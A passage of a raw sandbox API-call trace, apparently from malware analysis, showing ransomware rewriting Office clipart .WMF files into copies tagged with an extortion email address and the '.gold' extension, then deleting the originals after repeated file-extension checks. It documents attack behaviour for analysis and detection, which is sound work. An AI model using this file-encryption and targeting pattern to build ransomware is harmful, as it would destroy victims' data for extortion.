lpNumberOfBytesWritten=0x2d9fc9c*=0x20f0, lpOverlapped=0x0) returned 1 [0095.791] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.791] WriteFile (in: hFile=0x230, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.791] SetEndOfFile (hFile=0x230) returned 1 [0095.791] CloseHandle (hObject=0x230) returned 1 [0095.791] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.791] SetEndOfFile (hFile=0x394) returned 1 [0095.793] CloseHandle (hObject=0x394) returned 1 [0095.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0095.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0095.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0095.847] lstrlenW (lpString=".doc") returned 4 [0095.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.847] lstrlenW (lpString=".docx") returned 5 [0095.847] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.847] lstrlenW (lpString=".pdf") returned 4 [0095.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.847] lstrlenW (lpString=".xls") returned 4 [0095.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.847] lstrlenW (lpString=".xlsx") returned 5 [0095.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.847] lstrlenW (lpString=".ppt") returned 4 [0095.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0095.847] lstrlenW (lpString=".zip") returned 4 [0095.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.847] lstrlenW (lpString=".rar") returned 4 [0095.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.847] lstrlenW (lpString=".bz2") returned 4 [0095.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.847] lstrlenW (lpString=".7z") returned 3 [0095.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0095.847] lstrlenW (lpString=".dbf") returned 4 [0095.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0095.847] lstrlenW (lpString=".1cd") returned 4 [0095.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0095.847] lstrlenW (lpString=".jpg") returned 4 [0095.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0095.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0095.847] lstrlenW (lpString=".doc") returned 4 [0095.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.848] lstrlenW (lpString=".docx") returned 5 [0095.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.848] lstrlenW (lpString=".pdf") returned 4 [0095.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.848] lstrlenW (lpString=".xls") returned 4 [0095.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.848] lstrlenW (lpString=".xlsx") returned 5 [0095.848] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.848] lstrlenW (lpString=".ppt") returned 4 [0095.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0095.848] lstrlenW (lpString=".zip") returned 4 [0095.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.848] lstrlenW (lpString=".rar") returned 4 [0095.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.848] lstrlenW (lpString=".bz2") returned 4 [0095.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.848] lstrlenW (lpString=".7z") returned 3 [0095.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0095.848] lstrlenW (lpString=".dbf") returned 4 [0095.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0095.848] lstrlenW (lpString=".1cd") returned 4 [0095.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0095.848] lstrlenW (lpString=".jpg") returned 4 [0095.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.848] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.848] lstrlenW (lpString="FD00438_.WMF") returned 12 [0095.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0095.849] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=5098) returned 1 [0095.849] CloseHandle (hObject=0x3c8) returned 1 [0095.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x20 [0095.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0095.850] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.850] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0095.850] GetLastError () returned 0x0 [0095.850] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x13ea, lpOverlapped=0x0) returned 1 [0095.851] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x13f0, lpOverlapped=0x0) returned 1 [0095.852] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.852] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.852] SetEndOfFile (hFile=0x38c) returned 1 [0095.852] CloseHandle (hObject=0x38c) returned 1 [0095.852] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.853] SetEndOfFile (hFile=0x3c8) returned 1 [0095.854] CloseHandle (hObject=0x3c8) returned 1 [0095.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0095.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0095.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0095.855] lstrlenW (lpString=".doc") returned 4 [0095.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.855] lstrlenW (lpString=".docx") returned 5 [0095.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.855] lstrlenW (lpString=".pdf") returned 4 [0095.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.855] lstrlenW (lpString=".xls") returned 4 [0095.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.855] lstrlenW (lpString=".xlsx") returned 5 [0095.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.855] lstrlenW (lpString=".ppt") returned 4 [0095.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0095.855] lstrlenW (lpString=".zip") returned 4 [0095.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.855] lstrlenW (lpString=".rar") returned 4 [0095.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.855] lstrlenW (lpString=".bz2") returned 4 [0095.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.855] lstrlenW (lpString=".7z") returned 3 [0095.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0095.855] lstrlenW (lpString=".dbf") returned 4 [0095.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0095.855] lstrlenW (lpString=".1cd") returned 4 [0095.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0095.855] lstrlenW (lpString=".jpg") returned 4 [0095.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0095.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0095.855] lstrlenW (lpString=".doc") returned 4 [0095.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.855] lstrlenW (lpString=".docx") returned 5 [0095.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.856] lstrlenW (lpString=".pdf") returned 4 [0095.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.856] lstrlenW (lpString=".xls") returned 4 [0095.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.856] lstrlenW (lpString=".xlsx") returned 5 [0095.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.856] lstrlenW (lpString=".ppt") returned 4 [0095.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0095.856] lstrlenW (lpString=".zip") returned 4 [0095.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.856] lstrlenW (lpString=".rar") returned 4 [0095.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.856] lstrlenW (lpString=".bz2") returned 4 [0095.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.856] lstrlenW (lpString=".7z") returned 3 [0095.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0095.856] lstrlenW (lpString=".dbf") returned 4 [0095.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0095.856] lstrlenW (lpString=".1cd") returned 4 [0095.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0095.856] lstrlenW (lpString=".jpg") returned 4 [0095.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.856] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.856] lstrlenW (lpString="FD00455_.WMF") returned 12 [0095.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0095.857] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=8926) returned 1 [0095.857] CloseHandle (hObject=0x3c8) returned 1 [0095.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x20 [0095.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0095.857] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.857] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0095.858] GetLastError () returned 0x0 [0095.858] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x22de, lpOverlapped=0x0) returned 1 [0095.859] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0095.860] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.860] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.860] SetEndOfFile (hFile=0x38c) returned 1 [0095.860] CloseHandle (hObject=0x38c) returned 1 [0095.860] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.860] SetEndOfFile (hFile=0x3c8) returned 1 [0095.862] CloseHandle (hObject=0x3c8) returned 1 [0095.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0095.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0095.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0095.863] lstrlenW (lpString=".doc") returned 4 [0095.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.863] lstrlenW (lpString=".docx") returned 5 [0095.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.863] lstrlenW (lpString=".pdf") returned 4 [0095.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.863] lstrlenW (lpString=".xls") returned 4 [0095.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.863] lstrlenW (lpString=".xlsx") returned 5 [0095.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.863] lstrlenW (lpString=".ppt") returned 4 [0095.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0095.863] lstrlenW (lpString=".zip") returned 4 [0095.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.863] lstrlenW (lpString=".rar") returned 4 [0095.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.863] lstrlenW (lpString=".bz2") returned 4 [0095.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.863] lstrlenW (lpString=".7z") returned 3 [0095.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0095.863] lstrlenW (lpString=".dbf") returned 4 [0095.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0095.863] lstrlenW (lpString=".1cd") returned 4 [0095.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0095.863] lstrlenW (lpString=".jpg") returned 4 [0095.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0095.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0095.863] lstrlenW (lpString=".doc") returned 4 [0095.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.863] lstrlenW (lpString=".docx") returned 5 [0095.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.863] lstrlenW (lpString=".pdf") returned 4 [0095.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.863] lstrlenW (lpString=".xls") returned 4 [0095.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.863] lstrlenW (lpString=".xlsx") returned 5 [0095.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.864] lstrlenW (lpString=".ppt") returned 4 [0095.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0095.864] lstrlenW (lpString=".zip") returned 4 [0095.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.864] lstrlenW (lpString=".rar") returned 4 [0095.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.864] lstrlenW (lpString=".bz2") returned 4 [0095.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.864] lstrlenW (lpString=".7z") returned 3 [0095.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0095.864] lstrlenW (lpString=".dbf") returned 4 [0095.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0095.864] lstrlenW (lpString=".1cd") returned 4 [0095.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0095.864] lstrlenW (lpString=".jpg") returned 4 [0095.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.864] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.864] lstrlenW (lpString="FD00459_.WMF") returned 12 [0095.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0095.864] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=17406) returned 1 [0095.865] CloseHandle (hObject=0x3c8) returned 1 [0095.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x20 [0095.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0095.865] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.865] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0095.865] GetLastError () returned 0x0 [0095.866] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x43fe, lpOverlapped=0x0) returned 1 [0095.867] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4400, lpOverlapped=0x0) returned 1 [0095.868] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.868] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, 